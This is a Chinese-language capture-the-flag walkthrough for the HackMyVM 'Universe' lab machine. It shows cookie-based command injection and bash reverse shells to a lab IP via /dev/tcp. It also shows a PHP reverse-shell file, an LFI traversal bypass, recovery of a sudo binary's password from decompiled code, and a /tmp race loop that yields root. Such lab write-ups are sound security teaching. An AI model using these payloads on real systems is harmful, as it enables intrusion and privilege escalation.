HackmyVm Universe Walkthrough

靶机下载地址为:https://hackmyvm.eu/machines/machine.php?vm=Universe

用nmap扫描常用端口,发现21、22。

└─$ nmap -sV -sC -Pn   192.168.56.125                                                                                                                 

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_  256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

试了下,21端口并不支持匿名登录。再次用nmap扫描全部端口,新发现1212端口。

└─$ nmap -sV -sC -Pn -p- -oN port.log 192.168.56.125                                                                                                                           
PORT     STATE SERVICE VERSION                                                                                                                                                 
21/tcp   open  ftp     vsftpd 3.0.3                                                                                                                                            
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)                                                                                                           
| ssh-hostkey:                                                                                                                                                                 
|   256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)                                                                                                                
|_  256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)                                                                                                              
1212/tcp open  lupa?                                                                                                                                                           
| fingerprint-strings:

在浏览器查看1212端口,会随机在url后加上?user=xxx的参数。xxx为1至1000之间的数字。使用wfuzz对不同数字的响应进行测试,发现当参数为9时,网站响应不一样。

seq 1 1000 > no.txt
└─$ wfuzz -w no.txt -u "http://192.168.56.125:1212/?user=FUZZ" --hw 136
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                       
=====================================================================
000000009:   200        45 L     106 W      1187 Ch     "9"  

网站显示如下:

网站提示,可以在cookie中给exec赋值命令。经测试,传入的命令要进行base64编码。使用id命令进行测试,成功运行。

─$ cmd=id                                                                     
└─$ curl --cookie exec=$(echo $cmd|base64) "http://192.168.56.125:1212/?user=9"
<!DOCTYPE html>
<html lang="es">
...
    <h4>The infinity of the universe reflected in your eyes... </h4>
    <p>Result: uid=1000(miwa) gid=1000(miwa) groups=1000(miwa)
</p>
...

接下来可以得到反弹shell。这里有个小坑,使用base64编码时,如果字符串过长,会自动换行,所以要设置-w 0屏蔽换行字符。

└─$ cmd='/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.56.101/1234 0>&1"'                                                                       
└─$ curl --cookie exec=$(echo $cmd|base64 -w 0) "http://192.168.56.125:1212/?user=9"

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.125] 35370
bash: cannot set terminal process group (319): Inappropriate ioctl for device
bash: no job control in this shell
miwa@universe:~/web$ id
id
uid=1000(miwa) gid=1000(miwa) groups=1000(miwa)
miwa@universe:~/web$ 

通过上传id_rsa.pub至miwa/.ssh并改名为authorized_keys,可以建立ssh连接。查看端口,发现有个内部的8080端口。

iwa@universe:/home$ netstat -ntlp                                                                                                                                             
(Not all processes could be identified, non-owned process info                                                                                                                 
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:1212            0.0.0.0:*               LISTEN      339/python3         
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                    
tcp6       0      0 :::21                   :::*                    LISTEN      -                    
tcp6       0      0 :::22                   :::*                    LISTEN      -           

通过ssh -L将靶机的8080端口转发到本地。

ssh -L 8080:127.0.0.1:8080 miwa@192.168.56.125

在本地浏览8080端口,该网页有file参数可以读取文件。

在利用这个LFI时,普通的../../../../etc/passwd不行。使用wfuzz进行测试,发现....//可用。

─$ wfuzz -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://127.0.0.1:8080/?file=FUZZ" 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://127.0.0.1:8080/?file=FUZZ
Total requests: 929

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                        
=====================================================================
000000307:   200        56 L     81 W       1060 Ch     "..\..\..\..\..\..\..\..\..\..\etc\passwd%00"                                                                          
000000347:   200        81 L     112 W      2271 Ch     "....//....//....//....//....//....//....//....//....//etc/passwd"                                                     
000000348:   200        81 L     112 W      2271 Ch     "....//....//....//....//....//....//....//....//etc/passwd"                                                           
000000331:   200        56 L     81 W       1060 Ch     "....\/....\/....\/etc/passwd"   
...

在tmp目录上传一下php的shell,内容如下。

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.56.101/1234 0>&1'");?>

利用LFI访问后,可以得到shell。

└─$ curl "http://127.0.0.1:8080/?file=....//....//....//....//....//....//tmp/rev.php"     

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.125] 38088
bash: cannot set terminal process group (28837): Inappropriate ioctl for device
bash: no job control in this shell
void@universe:~/web-void$ id
id
uid=1001(void) gid=1001(void) groups=1001(void)
void@universe:~/web-void$ 

查看用户void的sudo。

void@universe:~/web-void$ sudo -l
sudo -l
Matching Defaults entries for void on universe:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User void may run the following commands on universe:
    (root) NOPASSWD: /scripts/Quasar
void@universe:~/web-void$ 

在void的用户目录下有.pass文件,可以得到void的密码,登录ssh。接下来研究Quasar,运行一下,需要输入密码,密码正确后可以执行print.sh。

void@universe:/scripts$ sudo /scripts/Quasar 
Uso: ./Quasar <password>
void@universe:/scripts$ sudo /scripts/Quasar  123456
¡Error!

将Quasar下载到本机,使用IDA进行反编译(使用Ghidra的反编译结果实测不如IDA),找到main函数。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s1[80]; // [rsp+10h] [rbp-A8h] BYREF
  char s2[72]; // [rsp+60h] [rbp-58h] BYREF
  unsigned __int64 v6; // [rsp+A8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( a1 == 2 )
  {
    sub_1219((__int64)s1);
    sub_1414(s1, s1);
    sub_1414(a2[1], s2);
    if ( !strcmp(s1, s2) )
      system("/scripts/print.sh");
    else
      printf(&byte_2038);
  }
  else
  {
    puts("Uso: ./Quasar <password>");
  }
  return 0LL;
}

经过浏览,sub_1219函数计算出一个s1,然后进行sub_1414也就是sha256运算,用户输入的密码也同样进行sha256运算,比较两个sha256的值是否相等。那么核心就是得到s1。
sub_1219的IDA反编译代码如下:

__int64 __fastcall sub_1219(__int64 a1)
{
  double v1; // xmm0_8
  double v2; // xmm0_8
  int v3; // eax
  __int64 result; // rax
  double v5; // [rsp+8h] [rbp-30h]
  double v6; // [rsp+8h] [rbp-30h]
  double v7; // [rsp+8h] [rbp-30h]
  int i; // [rsp+20h] [rbp-18h]
  int j; // [rsp+24h] [rbp-14h]
  double v10; // [rsp+28h] [rbp-10h]

  for ( i = 0; i <= 9; ++i )
  {
    v10 = 0.0;
    for ( j = 0; j <= 4; ++j )
    {
      v1 = sin(3.141592653589793 * (double)i / 3.0 + (double)j);
      v5 = pow(v1, 2.0);
      v6 = log((double)(i + j + 3)) * v5;
      v2 = sqrt((double)(i + j + 1));
      v7 = exp(v2) + v6;
      v3 = i + j + 1;
      if ( (unsigned int)(i + j) < 0xFFFFFFFE && i + j != 0 )
        v3 = 0;
      v10 = tgamma((double)(i + j + 1)) * (double)v3 + v7 + v10;
    }
    *(_BYTE *)(i + a1) = (int)(100.0 * v10) % 10 + 48;
  }
  result = a1 + 10;
  *(_BYTE *)(a1 + 10) = 0;
  return result;
}

可以用动态调试的方法得到s1,这里使用静态方法,将上面的代码复制到任意在线C语言运行器中,稍作修改,如下(也可以使用chatGPT让其帮助优化修改):

#include <stdio.h>
#include <math.h>

int main()
{
  char a1[80];
  double v1; // xmm0_8
  double v2; // xmm0_8
  int v3; // eax
  __int64_t result; // rax
  double v5; // [rsp+8h] [rbp-30h]
  double v6; // [rsp+8h] [rbp-30h]
  double v7; // [rsp+8h] [rbp-30h]
  int i; // [rsp+20h] [rbp-18h]
  int j; // [rsp+24h] [rbp-14h]
  double v10; // [rsp+28h] [rbp-10h]

  for ( i = 0; i <= 9; ++i )
  {
    v10 = 0.0;
    for ( j = 0; j <= 4; ++j )
    {
      v1 = sin(3.141592653589793 * (double)i / 3.0 + (double)j);
      v5 = pow(v1, 2.0);
      v6 = log((double)(i + j + 3)) * v5;
      v2 = sqrt((double)(i + j + 1));
      v7 = exp(v2) + v6;
      v3 = i + j + 1;
      if ( (unsigned int)(i + j) < 0xFFFFFFFE && i + j != 0 )
        v3 = 0;
      v10 = tgamma((double)(i + j + 1)) * (double)v3 + v7 + v10;
    }
    *(char *)(i + a1) = (int)(100.0 * v10) % 10 + 48;
  }
  result = a1 + 10;
  *(char *)(a1 + 10) = 0;
  printf("%s\n", a1);
  return result;
}

可以得到运行结果。

在靶机中再次运行Quasar并输入得到的密码,没有报错。接下来就是如何利用print.sh得到root权限了。print.sh代码如下:

#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
( 
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"

如果看不懂,可以让AI帮助分析。

接下来,我们要写一个竞争脚本,功能是不断在/tmp目录查找read开头的文件,找到了就向其中写入bash。一行代码就可以解决。

while true; do find /tmp -maxdepth 1 -name 'read-*' -type f | while read -r file; do echo -n "bash" > "$file"; done;  done

先运行我们的脚本,再运行Quasar,多运行几次,可以得到root。

void@universe:/scripts$ sudo /scripts/Quasar  9740252204
root@universe:/scripts# id
uid=0(root) gid=0(root) groups=0(root)

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注